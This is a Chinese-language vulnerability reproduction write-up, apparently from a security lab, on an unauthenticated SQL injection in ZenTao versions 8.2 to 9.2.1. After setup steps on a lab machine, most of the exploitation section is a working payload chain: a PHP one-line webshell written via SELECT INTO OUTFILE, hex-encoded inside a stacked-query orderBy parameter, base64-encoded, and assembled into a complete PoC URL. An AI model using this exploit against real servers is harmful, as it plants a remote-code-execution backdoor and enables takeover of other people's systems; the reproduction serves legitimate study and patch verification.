禅道免登陆SQL注入漏洞复现

龙渊实验室 2025-01-19

260

一、漏洞简介

该漏洞影响版本为禅道8.2--9.2.1，禅道项目管理软件集产品管理、项目管理、质量管理、文档管理、组织管理和事务管理于一体，是一款功能完备的项目管理软件，完美地覆盖了项目管理的核心流程。漏洞出现在系统orm框架中，在拼接order by的语句过程的时候，未对limit部分过滤并直接拼接，导致攻击者构造执行SQL语句。在mysql权限配置不当的情况下，攻击者可利用该漏洞获取webshell。

二、环境搭建

1.测试环境下载地址：https://www.zentao.net/download/80035.html，下载完成以后点击进行安装操作

2.安装成功后会在D:\111111\下面生成一个xampp的文件夹

3.进入xampp文件夹，点击start.exe文件，点击“启动”按钮，显示正在运行。

4.查看服务器本机的IP地址

5.输入网址：http://192.168.29.135/进行访问搭建的禅道网站

6.访问该路径：http://192.168.29.135/zentao/index.php?mode=getconfig，获取版本号为9.1.2，该版本存在免登陆的SQL注入漏洞

三、漏洞复现

1.随便访问一个不存在的路径http://192.168.29.135/zentao/getshell，会出现报错，报错回显出文件的存放路径为D:\111111\

2.根据报错回显的路径，写入一句话木马：

select'<?php @eval($_POST[1])?>' into outfile'D:/111111/xampp/zentao/www/xx.php'

3.将上述语句进行ASCIIhex加密，得到

73656c65637420273c3f70687020406576616c28245f504f53545b315d293f3e2720696e746f206f757466696c652027443a2f3131313131312f78616d70702f7a656e74616f2f7777772f78782e70687027

4.继续将加密的语句放入下列中

{"orderBy":"order limit 1;SET @SQL=0x73656c65637420273c3f70687020406576616c28245f504f53545b315d293f3e2720696e746f206f757466696c652027443a2f3131313131312f78616d70702f7a656e74616f2f7777772f78782e70687027;PREPARE pord FROM @SQL;EXECUTE pord;-- -","num":"1,1","type":"openedbyme"}

有部分使用了MySQL的预处理查询绕过程序的过滤，0x加密部分解密

5.对上述语句进行base64加密

eyJvcmRlckJ5Ijoib3JkZXIgbGltaXQgMTtTRVQgQFNRTD0weDczNjU2YzY1NjM3NDIwMjczYzNmNzA2ODcwMjA0MDY1NzY2MTZjMjgyNDVmNTA0ZjUzNTQ1YjMxNWQyOTNmM2UyNzIwNjk2ZTc0NmYyMDZmNzU3NDY2Njk2YzY1MjAyNzQ0M2EyZjMxMzEzMTMxMzEzMTJmNzg2MTZkNzA3MDJmN2E2NTZlNzQ2MTZmMmY3Nzc3NzcyZjc4NzgyZTcwNjg3MDI3O1BSRVBBUkUgcG9yZCBGUk9NIEBTUUw7RVhFQ1VURSBwb3JkOy0tIC0iLCJudW0iOiIxLDEiLCJ0eXBlIjoib3BlbmVkYnltZSJ9

6.构造poc地址：

http://192.168.29.135/zentao/index.php?m=block&f=main&mode=getblockdata&blockid=case&param=eyJvcmRlckJ5Ijoib3JkZXIgbGltaXQgMTtTRVQgQFNRTD0weDczNjU2YzY1NjM3NDIwMjczYzNmNzA2ODcwMjA0MDY1NzY2MTZjMjgyNDVmNTA0ZjUzNTQ1YjMxNWQyOTNmM2UyNzIwNjk2ZTc0NmYyMDZmNzU3NDY2Njk2YzY1MjAyNzQ0M2EyZjMxMzEzMTMxMzEzMTJmNzg2MTZkNzA3MDJmN2E2NTZlNzQ2MTZmMmY3Nzc3NzcyZjc4NzgyZTcwNjg3MDI3O1BSRVBBUkUgcG9yZCBGUk9NIEBTUUw7RVhFQ1VURSBwb3JkOy0tIC0iLCJudW0iOiIxLDEiLCJ0eXBlIjoib3BlbmVkYnltZSJ9

返回结果为红框处乱码，

Ps：必须添加referer: http://192.168.29.135/zentao